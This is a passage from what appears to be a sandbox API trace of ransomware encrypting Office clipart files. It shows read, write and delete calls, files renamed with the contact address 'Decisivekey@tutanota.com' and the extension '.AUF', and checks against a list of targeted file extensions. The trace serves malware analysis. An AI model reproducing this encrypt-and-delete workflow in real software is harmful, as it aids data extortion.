(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf")) returned 0x20 [0223.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0223.708] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.708] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0223.709] GetLastError () returned 0x0 [0223.709] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x738, lpOverlapped=0x0) returned 1 [0223.714] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x740, lpOverlapped=0x0) returned 1 [0223.715] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.715] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0223.715] SetEndOfFile (hFile=0x1e4) returned 1 [0223.803] CloseHandle (hObject=0x1e4) returned 1 [0223.803] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.803] SetEndOfFile (hFile=0x180) returned 1 [0223.804] CloseHandle (hObject=0x180) returned 1 [0223.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0224.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0224.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0224.578] lstrlenW (lpString=".doc") returned 4 [0224.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.581] lstrlenW (lpString=".docx") returned 5 [0224.582] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0224.584] lstrlenW (lpString=".pdf") returned 4 [0224.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.596] lstrlenW (lpString=".xls") returned 4 [0224.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.600] lstrlenW (lpString=".xlsx") returned 5 [0224.601] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0224.601] lstrlenW (lpString=".ppt") returned 4 [0224.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0224.601] lstrlenW (lpString=".zip") returned 4 [0224.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.601] lstrlenW (lpString=".rar") returned 4 [0224.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.601] lstrlenW (lpString=".bz2") returned 4 [0224.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.601] lstrlenW (lpString=".7z") returned 3 [0224.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0224.601] lstrlenW (lpString=".dbf") returned 4 [0224.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0224.601] lstrlenW (lpString=".1cd") returned 4 [0224.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0224.601] lstrlenW (lpString=".jpg") returned 4 [0224.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.601] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.601] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0224.602] GetLastError () returned 0x0 [0224.602] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x257c, lpOverlapped=0x0) returned 1 [0224.610] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x2580, lpOverlapped=0x0) returned 1 [0224.611] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.611] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.611] SetEndOfFile (hFile=0x194) returned 1 [0224.611] CloseHandle (hObject=0x194) returned 1 [0224.611] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.611] SetEndOfFile (hFile=0x180) returned 1 [0224.612] CloseHandle (hObject=0x180) returned 1 [0224.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0224.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0224.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0224.612] lstrlenW (lpString=".doc") returned 4 [0224.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.612] lstrlenW (lpString=".docx") returned 5 [0224.612] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0224.612] lstrlenW (lpString=".pdf") returned 4 [0224.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.612] lstrlenW (lpString=".xls") returned 4 [0224.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.612] lstrlenW (lpString=".xlsx") returned 5 [0224.612] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0224.612] lstrlenW (lpString=".ppt") returned 4 [0224.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0224.612] lstrlenW (lpString=".zip") returned 4 [0224.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.612] lstrlenW (lpString=".rar") returned 4 [0224.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.613] lstrlenW (lpString=".bz2") returned 4 [0224.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.613] lstrlenW (lpString=".7z") returned 3 [0224.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0224.613] lstrlenW (lpString=".dbf") returned 4 [0224.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0224.613] lstrlenW (lpString=".1cd") returned 4 [0224.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0224.613] lstrlenW (lpString=".jpg") returned 4 [0224.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.613] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=21782) returned 1 [0224.613] CloseHandle (hObject=0x180) returned 1 [0224.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf")) returned 0x20 [0224.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0224.614] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.614] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0224.614] GetLastError () returned 0x0 [0224.614] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x5516, lpOverlapped=0x0) returned 1 [0224.623] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x5520, lpOverlapped=0x0) returned 1 [0224.624] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.624] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.624] SetEndOfFile (hFile=0x194) returned 1 [0224.624] CloseHandle (hObject=0x194) returned 1 [0224.625] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.625] SetEndOfFile (hFile=0x180) returned 1 [0224.625] CloseHandle (hObject=0x180) returned 1 [0224.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf")) returned 1 [0224.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0224.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0224.626] lstrlenW (lpString=".doc") returned 4 [0224.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.626] lstrlenW (lpString=".docx") returned 5 [0224.626] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0224.626] lstrlenW (lpString=".pdf") returned 4 [0224.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.626] lstrlenW (lpString=".xls") returned 4 [0224.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.626] lstrlenW (lpString=".xlsx") returned 5 [0224.626] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0224.626] lstrlenW (lpString=".ppt") returned 4 [0224.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0224.626] lstrlenW (lpString=".zip") returned 4 [0224.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.626] lstrlenW (lpString=".rar") returned 4 [0224.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.626] lstrlenW (lpString=".bz2") returned 4 [0224.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.626] lstrlenW (lpString=".7z") returned 3 [0224.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0224.626] lstrlenW (lpString=".dbf") returned 4 [0224.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0224.626] lstrlenW (lpString=".1cd") returned 4 [0224.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0224.626] lstrlenW (lpString=".jpg") returned 4 [0224.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.627] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=33434) returned 1 [0224.627] CloseHandle (hObject=0x180) returned 1 [0224.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf")) returned 0x20 [0224.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0224.627] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.627] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0224.627] GetLastError () returned 0x0 [0224.628] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x829a, lpOverlapped=0x0) returned 1 [0224.634] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x82a0, lpOverlapped=0x0) returned 1 [0224.635] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.635] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.636] SetEndOfFile (hFile=0x194) returned 1 [0224.636] CloseHandle (hObject=0x194) returned 1 [0224.636] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.636] SetEndOfFile (hFile=0x180) returned 1 [0224.637] CloseHandle (hObject=0x180) returned 1 [0224.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf")) returned 1 [0224.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0224.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0224.637] lstrlenW (lpString=".doc") returned 4 [0224.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.637] lstrlenW (lpString=".docx") returned 5 [0224.637] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0224.637] lstrlenW (lpString=".pdf") returned 4 [0224.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.637] lstrlenW (lpString=".xls") returned 4 [0224.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.637] lstrlenW (lpString=".xlsx") returned 5 [0224.637] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0224.637] lstrlenW (lpString=".ppt") returned 4 [0224.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0224.637] lstrlenW (lpString=".zip") returned 4 [0224.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.637] lstrlenW (lpString=".rar") returned 4 [0224.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.637] lstrlenW (lpString=".bz2") returned 4 [0224.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.637] lstrlenW (lpString=".7z") returned 3 [0224.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0224.638] lstrlenW (lpString=".dbf") returned 4 [0224.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0224.638] lstrlenW (lpString=".1cd") returned 4 [0224.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0224.638] lstrlenW (lpString=".jpg") returned 4 [0224.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.638] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=19898) returned 1 [0224.638] CloseHandle (hObject=0x180) returned 1 [0224.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf")) returned 0x20 [0224.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0224.638] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.638] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0224.639] GetLastError () returned 0x0 [0224.639] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x4dba, lpOverlapped=0x0) returned 1 [0224.884] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x4dc0, lpOverlapped=0x0) returned 1 [0224.889] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.889] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.889] SetEndOfFile (hFile=0x194) returned 1 [0224.889] CloseHandle (hObject=0x194) returned 1 [0224.889] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.889] SetEndOfFile (hFile=0x180) returned 1 [0224.890] CloseHandle (hObject=0x180) returned 1 [0224.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf")) returned 1 [0224.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0224.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0224.891] lstrlenW (lpString=".doc") returned 4 [0224.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.891] lstrlenW (lpString=".docx") returned 5 [0224.891] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0224.891] lstrlenW (lpString=".pdf") returned 4 [0224.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.891] lstrlenW (lpString=".xls") returned 4 [0224.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.891] lstrlenW (lpString=".xlsx") returned 5 [0224.891] 